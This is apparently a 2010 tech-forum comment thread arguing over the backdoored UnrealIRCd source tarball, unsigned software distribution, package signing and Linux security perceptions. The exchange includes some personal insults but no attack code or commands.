Most irc daemons are compiled from source, they are not fetched as packages. You have a number of compile-time options you have to consider, such as setting hard-coded options and limits that may matter based upon the services you provide. Deploying a server from a package is ill-advised and I cannot think of any major IRC network where they would commonly link to a server running such a thing, since all of them have configuration standards you have to meet, not all of them similar and not all of them may be tunable via a configuration file depending on your ircd.
In fact, out of the three you listed there, one of them had a spotty security track record already on its own (Bahamut), one has been forked and pretty much depreciated (Hybrid, the biggest backers are pushing Ratbox) and the other is obscure at best (ircu), being an absolutely archaic codebase used primarily by a single, formerly notable network.
Calling UnrealIRCd ‘obscure’ because it’s not on a package list is taking the cake on this drivel I see you post here. Had you even done a cursory search on this, such as checking any of the sites constantly scanning for and crawling ircd servers — you’d find out that Unreal is actually the most popular ircd deployed, period.
http://searchirc.com/ircd-versions
Seriously.
So yes, this is a bigger deal than you’d think.
IRC servers are obscure, period.
Backup: search for “IRC” on this page:
http://en.wikipedia.org/wiki/Application_software
“Not found”.
IRC barely even gets a mention on this page:
http://en.wikipedia.org/wiki/Instant_messaging
There are only 1500 IRC servers running worldwide:
http://en.wikipedia.org/wiki/IRC
The premier use of an IRC server these days seems to be for balckhats to control a Windows botnet via someone else’s IRC server, so that they don’t get pinged as the botnet owner.
Not a big demand for IRC server programs, is there?
The fact that UnrealIRCd for Linux was NOT distributed via package management guarantees that it will be obscure on Linux. Given the prevalence of malware on the Internet, who would be insane enough to install an unsigned, uncheckable obscure binary package these days, other than Windows users (who don’t get much choice)?
The fact that it was obscure for Linux is underlined by the observation that this compromised UnrealIRCd package was hosted on mirrors for a significantly long time, and nobody even noticed.
Edited 2010-06-16 02:02 UTC
Oh really?
They are running out of IP4 addresses, that is 4,294,967,296 addresses. There are 1,500 IRC servers. Therefore, the entire market for IRC server programs is less than 0.000035% of the market for software (for machines on the Internet). Linux share of that would be 30% or less. UnRealIRCd share of that, lets be generous, perhaps 25%. UnRealIRCd for Linux is of interest to 0.0000026% of the market, at best.
[sarcasm]Big deal indeed.[/sarcasm]
In reality, 0.0000026% interest is obscure by anyone’s definition.
Edited 2010-06-16 02:27 UTC
What I find more amazing is now you are trying to reframe the argument. This conversation is about irc daemons and the people who would be at risk. If you’re running an ircd, chances are you could be at risk. Regardless of how this attack vector occurred, this is still a blow to the most popular ircd for folks running irc networks so far as their perceived reputation.
Regardless of how many people are actually running the daemon itself, there sure as hell are quite a few more people actually using the servers as clients who also would be impacted by this.
Fact is, you still don’t know what you’re discussing but you’ve got your panties in a twist now that someone who actually has real experience here has called you on this. Enjoy. Good to know OSNews puts up with you.
Absolutely. You are ESPECIALLY at risk if you are in the habit of downloading unsigned binary packages and installing them, unchecked in any way, on your system. I couldn’t agree more. This applies for ANY OS, and for any type of applictaion, not merely IRC server applications.
What reputation? They haven’t got a reputation worth schmick if they simply ignore the secure distribution methods for Linux applications that are freely available to them, and they simply plonk an unsigned binary package on a server somewhere, and then fail to check it for many months. No-one in their right mind would be using a package such as that, or indeed running their software. That would be utterly crazy, asking for trouble.
What, we are up to 0.000026% now (ten times as many users who run it in client mode). Whoopee. That really takes it well out of the “obscure” class now … NOT!!!!
Diddums is going to have another ad hominem potshot at me now? How quaint.
Edited 2010-06-16 06:04 UTC
Sorry, but Aristocracies is absolutely right. He has provided data to back-up the claim that the daemon is popular in its field, and (as he stated) even if the numbers of servers aren’t large, the clients would be more considerable (Wikipedia has some estimate of a half-million IRC clients).
He is also correct that you went off on several tangents unrelated to the topic of potential impact of this vulnerability, calling IRC obscure, anyone who installed this incompetent, a few guesses based on total IP space, etc.
Your argument is appears incredibly weak compared to his, you may want to stop discussing this if you can’t produce better formed responses that are actually on-topic.
Aristocracies is the one who went of on the tangent. It was his whole point that this IRC server daemon was somehow in his view not an obscure application, when clearly it is. It could scarcely be more obscure. Even though there is a Linux version, it is included in no Linux distribution repositories at all. I merely mentioned this in passing.
Furthermore, it truly is incompetent, both of the application authors and of anyone who installed it, to have been caught out by this trojan. There was totally no need to have been so caught out, since there are a number of means readily available to distribute Linux applications securely, so that trojans cannot get a look in. Signing the package is a very obvious thing to have done, but these developers failed to do even that. The developers even admitted to being very embarrassed by their utter lack of even the simplest security measures.
Anyone who had even the vaguest understanding of normal methods of distribution of Linux software should not have touched this particular package with a ten foot barge pole.
Unsigned binary packages simply downloaded from a server and manually installed is the absolutely classic vector for trojan horse malware injection.
http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29
I’m sorry, but this is in the very first page of security 101 for dummies … don’t do this. Don’t do unsigned binary installation packages. Refuse point blank to ever install such things.
Edited 2010-06-16 11:51 UTC
I don’t see how this is obscure. Your own Wikipedia link states that the top 100 IRC servers alone host over a half million users at a time. With at least a half-million users, how can it be so obscure? Clearly a vulnerability to the servers translates to a problem for the clients.
It’s obscure because *PRETTY MUCH NOBODY USES IT UNDER LINUX*
GET THE CONCEPT THOUGH YOU PIN-SIZED BRAIN,PINHEAD.
You still haven’t grasped the fact that this trojan wasn’t in an executable binary. None of the provided executable binaries were infected, in fact, they only provide a Windows binary. Someone had replaced the source tarball with one that had the backdoor in the source code itself. This allowed anyone who built the daemon to have anyone connected to the IRC service execute arbitrary commands as the user the daemon ran as. The potential for abuse there if one was motivated is mindboggling, since it’d be trivial to take control of the entire service from that point.
Anyone who downloaded this and compiled it had an issue. In fact, all the fix scripts for this are simply cleaning a header file, then you have to recompile. Or you could just grab a known clean tarball now and check against the provided hashes.
Sure, they should have been doing more and in fact, now are. But you’re still a crazed autistic who can’t be bothered to read anything to get his facts straight. I’m sure your reply will be more drivel attacking the Unreal team and then some further distractions like ‘hurr tarballs are binaries too’, all of which you’re throwing forth because someone wrote a mean article about your preferred OS, even if no one in their right mind would take said article seriously.
Edited 2010-06-16 19:17 UTC
Correct. It was in an unsigned binary file, which was a tarball of the application source code. What exactly was it that you contend that I did not grasp?
Exactly. This is a classic trojan horse. Where did I say anything different? (PS: a tarball is a binary file, it is not a plain text file, although it can contain plain text files).
For up to the Linux subset of some 800 IRC server machines, of all the machines on the entire Internet. Obscure.
And ran it. Apparently this could amount to maybe 300 machines, perhaps.
Now that they are using standard practice, the trojan is no more. Agreed.
Sigh!
Oh dear oh dear. Tarballs are indeed binaries. Type “cat name-of-tarball.tgz” at a command prompt and see for yourself.
In order to avoid trojans, standard practice to distribute tarballs of software source code is to provide checksums and a PGP/GPG signature along with the tarball.
Like so:
http://www.ffmpeg.org/download.html
(Provides a source tarball, MD5 and SHA1 checksums, and a PGP signature).
UnRealIRC failed to do this simple thing, which is accepted standard practice. I’m afraid that under any viewpoint at all, that makes them incompetent. Likewise for anyone who accpeted their unsigned file and put it in their distribution, namely Gentoo and Arch Community repo.
Following accepted standard practice, which is very simple to do, would have avaoided this breach of security entirely. There is no excuse, really.
For up to the Linux subset of some 800 IRC server machines, of all the machines on the entire Internet. Obscure.
And ran it. Apparently this could amount to maybe 300 machines, perhaps.
Hmmmm, I think I need to reconsider this. Apparently only Gentoo and Arch Community repositories had this problem. That would mean that of the 800 IRC server machines Running UnrealIRC, perhaps only a dozen or so were running Gentoo or Arch (both of which are very minor independent Linux distributions).
Extremely obscure.
Edited 2010-06-17 00:47 UTC
Of course that doesn’t make sense. Since a person can’t get it from any repository (aside from Arch/Gentoo, which as I understand it were vulnerable as well) they must have gotten it from (a possibly infected) source. This doesn’t really reduce the number of infections, since more-or-less all the ways one could compile this package would have been through a compromised vector.
If most Linux distributions have an IRC server, or a couple of choices for IRC server, in their repositories, and none of those choices is UnrealIRCd, then most Linux machines running an IRC server are not going to be running UnrealIRCd. They will very likely be running one of the other IRC server programs that are available and supported directly by their distribution.
This means that in all probability the vast majority of UnRealIRCd servers are machines running Windows. The only Linux machines running UnRealIRCd are very likely to be Gentoo or Arch machines, and such machines represent only a tiny fraction of all Linux machines.
Now it is possible that someone has, say, a Debian machine, and they wanted to run an IRC server, and they found out that Debian didn’t incude UnrealIRCd because of the security issues with it:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=515130
They have some choices … 1. use another IRC server that Debian does support, 2. download and install UnrealIRCd from source despite Debian’s issues with it and lack of support for it, 3. or drop Debian entirely and run Gentoo instead.
The majority of people will choose option 1, given that they have already chosen Debian.
in this case – 6 months, and nobody noticed? that kind of failure cannot possibly be described correctly.
The explanation is rather simple: it was not the main server that was compromised nor any distribution repositories, only mirror servers. As such the malware issue couldn’t be very widespread. Even more so that UnrealIRCD is mostly used by rather small IRC networks; had it been used by a very large network the backdoor would most likely have been noticed a whole lot earlier (if they had downloaded UnrealIRCD from a mirror and not from the actual distro repos, which is highly unlikely and stupid anyway in the case you host a public server.)
It’s just plain common sense that it took a while to be found.
what does this have to do with Linux/*BSD/etc?
Not a lot.
UnrealIRCd is an open source, multi-platform, relatively obscure (on Linux) IRC server program.
http://en.wikipedia.org/wiki/UnrealIRCd
Someone found out that the distribution method for the Linux version of this particular program was the same as for other platforms … it is distributed for Linux via an unsigned binary file.
Someone decided to attach a trojan to the binary file and replace the original Linux distribution file with the trojan-infected file for Linux on some of the UnrealIRCd mirrors, where it went undetected for a lengthy period.
As anyone knows, distributing unchecked binary files is a perfect vehicle for disseminating trojans. It was apparently on someone’s agenda to illustrate that this is just as true for a Linux version of an application as it is for any other OS.
Edited 2010-06-15 13:23 UTC
Yeah, this can (and does) happen with Windows software as well. It’s really a problem with the “run random files downloaded off the Internet” distribution model, rather than any particular OS.
This is yet another reason we shouldn’t trust this way of distributing applications. Too dangerous.
Obviously, anyone distributing source code should sign the packages, to make sure they haven’t been tampered with. Most end-users won’t check them, but package maintainers certainly will. That’d at least prevent a trojaned version of an application from getting into a distribution’s repository.
The more interesting question is this – is there some way to safely run random applications downloaded off the ‘net?
Sticking purely to a distribution’s package collection is (normally – see above) much safer, since all packages in most distributions are signed. It’s just sometimes not enough.
Ubuntu’s PPAs go some of the way towards fixing this. As long as you install the package signing key correctly, you can be sure that the packages haven’t been modified. Doesn’t protect you from deliberate attacks though – PPAs can contain just about anything, and how do you know if you can trust the PPA owner?
What you really need is some way to restrict what a PPA can do, and to sandbox all of the applications inside it. Lock them down (Linux already has all the infrastructure required to do this), isolate them from each other, and come up with a way to add permissions if required, ideally in a way that’s transparent to the end user (so if it needs filesystem access, you can see that and decide for yourself if you trust it).
Exactly so. The problem here isn’t Linux, or Windows, or any other OS. The real problem is the distribution of unsigned binary packages as a means of distributing applications.
The word “source” here is redundant. Signing of packages is as valid for binary packages as it is for source code.
This is not primarily the reason for signing packages. Signing packages merely ensures that the file you downloaded was originated by the person holding the key that it was signed with. Local package manager programs (such as apt-get) have a copy of the distribution’s public key, and they therefore can check that the downloaded package really came, unmodified, from the distribution’s repository. This is done automatically by the package manager program, it is not at all dependent on user’s doing anything. This has nothing at all to do with binary versus source code packages … it works just as well for either one.
Yes, that indeed is the result, in any event.
Unsigned? No.
Correct.
A matter of opinion, surely. There are 25000 of the most popular open source packages in Ubuntu’s repositories. For 90%+ of users, this will cover more than enough applications.
Check the number of downloads. If there have been many thousands of downloads and no complaints, and the PPA is still up and running after a reasonable time, then it probably contains no malware. This is especially true if the PPA offers both source and binary versions of the code, so that it is possible for recipients to compile the source to verify the binary for themselves. A small number of recipiens might actually do this. In any event, if there have been a significant number of problem-free downloads over a decent period of time, the PPA keyholder can be trusted, one would surmise.
This would simply restrict what one could actually include in a PPA. It would make PPA’s useless for developing and testing of native applications … which is what PPAs are actually meant for.
Edited 2010-06-15 14:36 UTC
Here you go, read a quick summary:
http://www.itworld.com/security/110942/linux-secure-ever?source=sml…
Oh I hated reading some of the news. Ed Bott is a moron – or – at least he sounds like one from his MS-bent article. The rest are any better!
“Recently, the Linux version of UnrealIRCd was discovered to have had a Trojan worm its way into the source code.”
No, it wasn’t ‘the Linux version’. It was just the source tarball. Which is, of course, not arch dependent. If you really want to go through the pain of building it from source on Windows, you can. Or on a BSD, or whatever.
The only reason it ever got identified as ‘the Linux version’ in the first place is because the project ships pre-built binaries for Windows but not for Linux. Which is fairly common practice. It doesn’t mean the source code is ‘the Linux version’, though. It’s the source.
At beginning of this year MS started recruiting in the US their “Linux and Open Office Compete Lead, US Subsidiary (CSI Lead)”
This people will lead the MS strategy to compete and win share against Linux and FOSS.
The job description include items like build a solid view of FOSS communities through marketing intelligence, embrace Open Source web companies and community projects and extend FOSS community marketing/evangelism.
More details can be see in this “CSI Lead” add for the Ecuador, Quito:
http://webcache.googleusercontent.com/search?q=cache:FvMQFdpctVsJ:h…
They will also utilize 3rd party proof points, customer testimonials, ads, PR, community marketing, analyst briefings, and field/partner readiness content, as a way to change perceptions in the industry in favour of MS and against Linux.
Unfortunately this story is be one that they will certainly fully explore for that purpose.
I think anyone told such a stroy from a Microsoft representative should show that representative this article:
http://arstechnica.com/security/news/2010/06/cyber-war-microsoft-a-…
That article should be fully explored for the purpose of counter-FUD, which seems to be required in this particular topic of security of distribution of software a lot more than other topics, for some reason.
Someone cleary has a barrow to push here.
It’s a very good article, thanks for the link. In fact it should have deserved more relevance in the media than the present Linux case.
The outrageous response to this situation, very convenient for MS, was also commented by Brian Proffitt in the IT World: http://www.itworld.com/open-source/110930/trojaned-app-demonstrates…